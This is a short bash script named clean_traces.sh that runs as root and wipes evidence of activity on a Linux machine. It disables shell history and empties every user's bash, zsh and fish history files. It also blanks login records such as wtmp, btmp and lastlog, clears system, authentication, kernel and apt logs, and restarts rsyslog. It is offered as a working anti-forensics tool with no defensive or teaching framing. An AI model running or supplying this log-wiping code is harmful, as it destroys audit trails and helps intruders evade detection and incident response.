clean traces

clean_traces.sh

#!/bin/bash
set -e

if [[ $EUID -ne 0 ]]; then
    exit 1
fi

unset HISTFILE
export HISTSIZE=0
export HISTFILESIZE=0

history -w && history -c && echo > ~/.bash_history

if [ -f ~/.bash_history ]; then
    echo > ~/.bash_history
fi

if [ -f /root/.bash_history ]; then
    echo > /root/.bash_history
fi

for user_home in /home/*; do
    if [ -f "$user_home/.bash_history" ]; then
        echo > "$user_home/.bash_history"
    fi
done

for user_home in /root /home/*; do
    [ -f "$user_home/.zsh_history" ] && echo > "$user_home/.zsh_history"
    [ -f "$user_home/.zhistory" ] && echo > "$user_home/.zhistory"
    [ -f "$user_home/.fish_history" ] && echo > "$user_home/.fish_history"
done

if [ -f /var/log/wtmp ]; then
    echo > /var/log/wtmp
fi
if [ -f /var/log/btmp ]; then
    echo > /var/log/btmp
fi
if [ -f /var/log/lastlog ]; then
    echo > /var/log/lastlog
fi

log_files=(
    "/var/log/syslog"
    "/var/log/auth.log"
    "/var/log/kern.log"
    "/var/log/messages"
    "/var/log/dmesg"
    "/var/log/user.log"
    "/var/log/daemon.log"
    "/var/log/debug"
    "/var/log/mail.log"
    "/var/log/faillog"
    "/var/log/lastlog"
)
for log in "${log_files[@]}"; do
    if [ -f "$log" ]; then
        echo > "$log"
    fi
done

if [ -f /var/log/apt/history.log ]; then
    echo > /var/log/apt/history.log
fi
if [ -f /var/log/apt/term.log ]; then
    echo > /var/log/apt/term.log
fi
if [ -f /var/log/alternatives.log ]; then
    echo > /var/log/alternatives.log
fi

if command -v systemctl >/dev/null 2>&1; then
    systemctl restart rsyslog 2>/dev/null || true
fi